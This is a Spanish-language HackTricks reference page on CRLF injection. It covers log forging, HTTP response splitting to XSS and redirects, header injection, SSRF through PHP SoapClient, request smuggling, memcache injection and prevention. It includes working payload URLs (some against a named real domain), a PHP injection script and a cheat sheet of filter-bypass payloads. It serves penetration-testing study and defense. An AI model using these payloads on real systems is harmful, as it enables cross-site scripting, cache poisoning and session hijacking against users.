Español - Ht
HackTricks Training Twitter Linkedin Sponsor

CRLF (%0D%0A) Injection

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Consejo de recompensa por errores: Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!

CRLF

Carriage Return (CR) y Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre las cabeceras HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 en varios tipos de servidores web, como Apache y Microsoft IIS.

Vulnerabilidad de Inyección de CRLF

La inyección de CRLF implica la inserción de los caracteres CR y LF en la entrada proporcionada por el usuario. Esta acción engaña al servidor, la aplicación o el usuario haciéndoles interpretar la secuencia inyectada como el final de una respuesta y el comienzo de otra. Aunque estos caracteres no son inherentemente dañinos, su mal uso puede llevar a la división de respuestas HTTP y otras actividades maliciosas.

Ejemplo: Inyección de CRLF en un Archivo de Registro

Ejemplo de aquí

Considera un archivo de registro en un panel de administración que sigue el formato: IP - Hora - Ruta Visitada. Una entrada típica podría ser:

123.123.123.123 - 08:15 - /index.php?page=home

Un atacante puede explotar una inyección de CRLF para manipular este registro. Al inyectar caracteres CRLF en la solicitud HTTP, el atacante puede alterar el flujo de salida y fabricar entradas en el registro. Por ejemplo, una secuencia inyectada podría transformar la entrada del registro en:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Aquí, %0d y %0a representan las formas codificadas en URL de CR y LF. Después del ataque, el registro mostraría de forma engañosa:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

El atacante así oculta sus actividades maliciosas haciendo que parezca que el localhost (una entidad típicamente confiable dentro del entorno del servidor) realizó las acciones. El servidor interpreta la parte de la consulta que comienza con %0d%0a como un único parámetro, mientras que el parámetro restrictedaction se analiza como otra entrada separada. La consulta manipulada imita efectivamente un comando administrativo legítimo: /index.php?page=home&restrictedaction=edit

División de Respuesta HTTP

Descripción

La División de Respuesta HTTP es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Retorno de Carro (CR) seguido de Avance de Línea (LF), colectivamente denominado como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a problemas de seguridad graves, especialmente Cross-site Scripting (XSS).

XSS a través de la División de Respuesta HTTP

  1. La aplicación establece un encabezado personalizado de esta manera: X-Custom-Header: UserInput

  2. La aplicación obtiene el valor para UserInput de un parámetro de consulta, digamos "user_input". En escenarios que carecen de una validación adecuada de la entrada y codificación, un atacante puede crear un payload que incluya la secuencia CRLF, seguida de contenido malicioso.

  3. Un atacante crea una URL con un 'user_input' especialmente diseñado: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • En esta URL, %0d%0a%0d%0a es la forma codificada en URL de CRLFCRLF. Engaña al servidor para que inserte una secuencia CRLF, haciendo que el servidor trate la parte subsiguiente como el cuerpo de la respuesta.

  1. El servidor refleja la entrada del atacante en el encabezado de respuesta, lo que lleva a una estructura de respuesta no deseada donde el script malicioso es interpretado por el navegador como parte del cuerpo de la respuesta.

Un ejemplo de División de Respuesta HTTP que conduce a una Redirección

Desde https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Navegador a:

/%0d%0aLocation:%20http://myweb.com

Y el servidor responde con el encabezado:

Location: http://myweb.com

Otro ejemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

En la ruta URL

Puedes enviar el payload dentro de la ruta URL para controlar la respuesta del servidor (ejemplo de aquí):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Ver más ejemplos en:

Inyección de Cabeceras HTTP

La Inyección de Cabeceras HTTP, a menudo explotada a través de la inyección CRLF (retorno de carro y avance de línea), permite a los atacantes insertar cabeceras HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la política SOP (Same-Origin Policy), lo que potencialmente lleva a un acceso no autorizado a datos sensibles, como tokens CSRF, o la manipulación de sesiones de usuario a través de la inserción de cookies.

Explotando CORS a través de la Inyección de Cabeceras HTTP

Un atacante puede inyectar cabeceras HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por SOP. Esta vulnerabilidad permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, potencialmente accediendo a datos protegidos.

SSRF e Inyección de Peticiones HTTP a través de CRLF

La inyección CRLF se puede utilizar para crear e inyectar una nueva petición HTTP por completo. Un ejemplo notable de esto es la vulnerabilidad en la clase SoapClient de PHP, específicamente dentro del parámetro user_agent. Al manipular este parámetro, un atacante puede insertar cabeceras adicionales y contenido del cuerpo, o incluso inyectar una nueva petición HTTP por completo. A continuación se muestra un ejemplo en PHP que demuestra esta explotación:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Inyección de encabezados para Request Smuggling

Para obtener más información sobre esta técnica y los problemas potenciales, consulte la fuente original.

Puede inyectar encabezados esenciales para asegurar que el back-end mantenga la conexión abierta después de responder a la solicitud inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Después, se puede especificar una segunda solicitud. Este escenario generalmente implica HTTP request smuggling, una técnica donde encabezados adicionales o elementos de cuerpo añadidos por el servidor post-inyección pueden llevar a varios exploits de seguridad.

Explotación:

  1. Inyección de Prefijo Malicioso: Este método implica envenenar la próxima solicitud del usuario o una caché web especificando un prefijo malicioso. Un ejemplo de esto es:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1

  1. Creación de un Prefijo para Envenenamiento de la Cola de Respuestas: Este enfoque implica crear un prefijo que, cuando se combina con basura adicional, forma una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Inyección de Memcache

Memcache es un almacenamiento de clave-valor que utiliza un protocolo de texto claro. Más información en:

page11211 - Pentesting Memcache

Para obtener la información completa, lee el informe original

Si una plataforma está tomando datos de una solicitud HTTP y usándolos sin sanear para realizar solicitudes a un servidor memcache, un atacante podría abusar de este comportamiento para inyectar nuevos comandos de memcache.

Por ejemplo, en la vulnerabilidad original descubierta, las claves de caché se usaban para devolver la IP y el puerto al que un usuario debía conectarse, y los atacantes podían inyectar comandos de memcache que envenenarían la caché para enviar los detalles de las víctimas (incluidos nombres de usuario y contraseñas) a los servidores del atacante:

Además, los investigadores también descubrieron que podían dessincronizar las respuestas de memcache para enviar las IPs y puertos de los atacantes a usuarios cuyos correos electrónicos el atacante no conocía:

Cómo Prevenir Inyecciones de CRLF / Encabezados HTTP en Aplicaciones Web

Para mitigar los riesgos de inyecciones de CRLF (retorno de carro y avance de línea) o encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias:

  1. Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta: El enfoque más seguro es abstenerse de incorporar la entrada suministrada por el usuario directamente en los encabezados de respuesta.

  2. Codificar Caracteres Especiales: Si no es posible evitar la entrada directa del usuario, asegúrate de emplear una función dedicada a codificar caracteres especiales como CR (retorno de carro) y LF (avance de línea). Esta práctica evita la posibilidad de inyección de CRLF.

  3. Actualizar el Lenguaje de Programación: Actualiza regularmente el lenguaje de programación utilizado en tus aplicaciones web a la última versión. Opta por una versión que inherentemente prohíba la inyección de caracteres CR y LF dentro de funciones encargadas de establecer encabezados HTTP.

HOJA DE TRUCOS

Hoja de trucos desde aquí

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Herramientas Automáticas

Lista de Detección de Fuerza Bruta

Referencias

Consejo de recompensa por errores: regístrate en Intigriti, una plataforma de recompensas por errores premium creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

AnteriorCORS - Misconfigurations & BypassSiguienteCSRF (Cross Site Request Forgery)

Última actualización